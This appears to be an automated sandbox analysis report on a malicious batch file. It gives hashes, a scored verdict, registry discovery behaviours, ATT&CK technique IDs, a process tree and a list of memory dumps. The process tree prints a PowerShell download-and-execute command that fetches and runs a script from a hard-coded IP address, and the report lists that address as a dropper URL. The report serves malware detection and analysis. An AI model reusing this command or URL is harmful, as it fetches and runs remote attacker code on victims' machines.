656e7d92a11142f16b80b527eee75b122b5c19143c2c21da4c37af0d5bf57d7a

General

Target

dTSMxBv5.bat
Size

190B
MD5

b43fc9677f0267630d7259cae180102b
SHA1

47b41ad33d7109bec3a432b7dd105153f0ba610b
SHA256

656e7d92a11142f16b80b527eee75b122b5c19143c2c21da4c37af0d5bf57d7a
SHA512

88804f6050a25e4861b337a9f4db75d21706ab81f15cb1d77b6aa29349e6534af25025cd5ec800f36136124aa37a2f99f241108a7355fcf71bfa6aaac9ffd492

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/dTSMxBv5

Signatures

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

WerFault.exe

pid	process
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe
5012	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

5012 4932 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 5012 WerFault.exe
Token: SeBackupPrivilege 5012 WerFault.exe
Token: SeDebugPrivilege 5012 WerFault.exe

pid	pid_target	process	target process
5012	4932	WerFault.exe	powershell.exe

description	pid	process
Token: SeRestorePrivilege	5012	WerFault.exe
Token: SeBackupPrivilege	5012	WerFault.exe
Token: SeDebugPrivilege	5012	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dTSMxBv5.bat"
1⤵
PID:4888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/dTSMxBv5');Invoke-GUHPOFB;Start-Sleep -s 10000"
2⤵
PID:4932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
- Enumerates system info in registry
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5012

\??\c:\windows\system32\taskhostw.exe
taskhostw.exe -RegisterDevice -SettingChange -Full
1⤵
PID:4300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/5012-0-0x0000000004420000-0x0000000004421000-memory.dmp

Filesize
4KB

Download
memory/5012-1-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Filesize
4KB

Download
memory/5012-8-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-9-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

Filesize
4KB

Download
memory/5012-10-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-11-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-12-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-13-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-14-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-15-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-16-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-17-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-18-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-19-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-20-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-21-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-22-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-23-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-24-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-25-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-26-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-27-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-28-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-29-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-30-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-31-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-32-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-33-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-34-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-35-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-36-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-37-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-38-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5012-39-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads